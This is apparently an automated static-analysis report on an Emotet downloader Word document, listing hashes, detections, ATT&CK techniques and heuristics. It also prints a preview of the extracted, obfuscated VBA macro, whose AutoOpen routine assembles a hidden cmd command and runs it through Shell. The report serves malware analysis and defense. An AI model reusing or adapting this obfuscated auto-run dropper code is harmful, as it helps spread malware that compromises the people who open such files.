Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 e2f1f198cea6e948…

MALICIOUS

Office (OLE)

185.0 KB Created: 2018-07-25 14:29:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: cc43fc6e56d5857a89f97dbc3e4339d9 SHA-1: 20b4e5ab88a4d90cd024627ea37fae55d76e3b7f SHA-256: e2f1f198cea6e948b0363fcac1534e0fa00dc17fe1c0f7e2657721eb8c82078e
142 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6802950-0', indicating a downloader variant of the Emotet family. The presence of an AutoOpen VBA macro, as flagged by heuristics, suggests that the macro executes automatically upon opening the document. The script's intent is to download and execute a second-stage payload, as evidenced by the Shell command within the AutoOpen subroutine.

Heuristics 5

  • ClamAV: Doc.Downloader.Emotet-6802950-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6802950-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36138 bytes
SHA-256: 42f9a67e0e0b4589107a8d64283fd44155d09c641880ecea255d594515f30ffa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "amFAQmi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   RRDjV = supwE
   zdIfhH = 560
   ELCdwh = CDbl(7939)
imWiSZUu = "" + jvRYMaoDi + UAkEUfiQVMIiq + CVar("cm") + jTOPkwGDhHS + SFmPslP + bUQuDDOS + RjkcPT + EknRr + YiIbKFwva + AGKuBJC + fqwiqi + fPjGcv + JTWRbmMu + LAvwOopqIQ + iIJMfXwwTa + IiFHUTcDob + dwjJGmo + XjMHGtaQ + AnPXP + czaNXkWuokO + TdnFSFjnwt + fEwfkwjzE + uMScbLVJHS + nioRpLuuw + oUzuI + ZAwJRHd + QRozVm + PFizuVCUbA + XRCzhsm + YAwGf + ZwTKMQ + rwmAUNL + PdkGHTjdCrU + XfOfPVuS + iYhhlsbi + MjrdpLttWTz + zRzuQ + iuwmpik + iMmHOwG + nwaUTIpnsB + spHJJ + vKFhwiC + tqNPAMuzBrr + EMhvZcA + NFpRsij + lDiqIdSjU + jiHKqINjAz + HrlwItq + svJrLupG + sfaRhOQGqHL + wPiSNiMcI + bmjtUoTct + CzBibwPatmFWfo
   NGzZC = qqKSY
   vQrBAq = Int(98)
Shell@ imWiSZUu, 0
   BARbh = ChrW(WQEFEk)
End Sub


Attribute VB_Name = "uouvHKXJZi"
Function bUQuDDOS()
On Error Resume Next
XtujJC = zCsTWa
   XzqnCr = 3
rirYlTAo = "d" + "          "
KJrUQa = FAYNS
VapUcn = "   " + "  /" + "c      " + "         " + "FO"
zGXYzS = "R /" + "F " + CStr(Chr(SUlXQMDh + jvpZWkmTYzivj + 34 + rDVmqSiEwa + ShTShfdcHzt)) + "token" + "s=2" + " delims=" + "P=Mf" + CStr(Chr(ZwjVcWosD + huwZzrsw + 34 + TmFfzPCP + JiTRVziTEGjPH)) + " %d I" + "N ("
wHqpMXoK = "'assoc.cmd" + "')" + "DO " + "%d   /V:" + "      /r"
ptuTIuU = " " + CStr(Chr(mjEiPGuPLFJd + HldqjADafDw + 34 + uVYDfvuKjw + lOPILMVsowUGYa)) + "  s" + "et   " + "  +" + "$="
oAbwZz = Sin(20930 * jcYOW + 3199 / QUEBkB)
   otXCC = VCdfY
   CBGLdC = Fix(HpMvYr)
iFZVbkLSYT = "//-/-\_/\" + "_-\__\ -/_"
poaEn = EBwINL
   EUorfa = FnQFFv
iAVjORf = "-\-/\_-\" + "_\// " + "/_-//\" + "/-\\__-_" + "\ /\-_\" + "-"
zRWZQk = Atn(841)
UUELD = "_/\\_/_/- " + "/--\" + "/\_"
Mthnqz = CSng(ZEzSsj)
   KdjGG = 2650
QLlTBRTkmdr = "/-\_\_/_" + " _\_--/\\" + "/-//\__ \"
bUQuDDOS = rirYlTAo + VapUcn + zGXYzS + wHqpMXoK + ptuTIuU + iFZVbkLSYT + iAVjORf + UUELD + QLlTBRTkmdr
   jcvEu = DwuzM
   KDTnj = ChrB(878)
End Function
Function RjkcPT()
On Error Resume Next
HszmwV = 46
EUZEEAXZHBT = "___/\//\_" + "-\--/ --_/"
utlOA = YtWRw
   JCvUY = Log(nJNpi)
iKzDMifCavj = "\/-_\" + "_\/" + "_\- \_-\\_"
wkdqsTHR = "\/-" + "_-/-/_ _" + "-\_\-" + "_//_\/" + "/\- _/-_-" + "/\\_-"
TMMVpq = "\/\_- \_-_" + "\-/\_\" + "//--/ _" + "_" + "__\-/" + "/" + "\\/\--"
GpzLju = Round(wGAhUO)
   mlwCVr = Haonf
   TBmBu = HmBwq
zEUjCbRBti = "- \/\--_" + "_/-_/\/-" + "_ -_" + "-/\-" + "/_/-\\__\" + " _\_-" + "-\/_//"
mYVGRD = Rnd(GNWHM)
vdXYcdE = "-\-_/" + " /" + "\\-"
WvOrp = 5989
   jfZjz = AnJDm
CrsRShk = "/\\_/--/-" + "__ --/-" + "\" + "-_\" + "__/" + "/_\\}"
uirQuoRCF = "\_-_///-__"
HGYJa = Log(kLCfUw)
   IQXzn = 98
   zIbYP = lfNiHG
wDQjzROS = "-\/\-}-\/" + "/_-_/\-/" + "\\-_{\/_//" + "_-\_\"
RjkcPT = EUZEEAXZHBT + iKzDMifCavj + wkdqsTHR + TMMVpq + zEUjCbRBti + vdXYcdE + CrsRShk + uirQuoRCF + wDQjzROS
   zHjlP = CLng(813)
End Function
Function EknRr()
On Error Resume Next
JaijVRl = "-" + "-\_/h"
ibDNo = 5060
MCjpBbvpAi = "/\_-"
obZoFw = 141
UdptDwCiHD = "-\-//" + "_-_\/_c/--" + "/__-/\\\-_" + "/\t/_/-" + "_-"
OiAsvW = 307123685
   TXzHJT = ChrB(ckJQZo)
tMhwzqnZGB = "\" + "_\/_\--/a/" + "_-\\/_" + "--\/" + "-\/_c\-" + "/"
qwUIPkqkNG = "\_" + "_-///" + "__\\-}" + "_"
EknRr = JaijVRl + MCjpBbvpAi + UdptDwCiHD + tMhwzqnZGB + qwUIPkqkNG
   VIclD = CGzEwZ
   rJLVrR = CDbl(DTrvj)
End Function
Function YiIbKFwva()
On Error Resume Next
UXpYA = CByte(AHEkT)
CktfQ = "_" + "/\_\-_\/" + "\--//" + ";\" + "\--_/"
XAkqp = CdDJOR
   zbsPN = ChrB(59579 * TlaAuk - GZSqE / wUFLwA)
wRHFJwn = "/-_-_\/" + "/_k/-\_-\"
RMJivk = 2
   EkHdV = CSng(16838 / nRwipo + 86246 * fAsiH)
   PXGfpA = RdDUIc
fFBaP = "___/--//"
AaOBv = 7
   ZIWsBH = 19
BCcVYIN = "\a-" + "_--///\" + "-\" + "\/__\e\" + "-\"
sYsiiC = iWisi
   JBQDL = CBool
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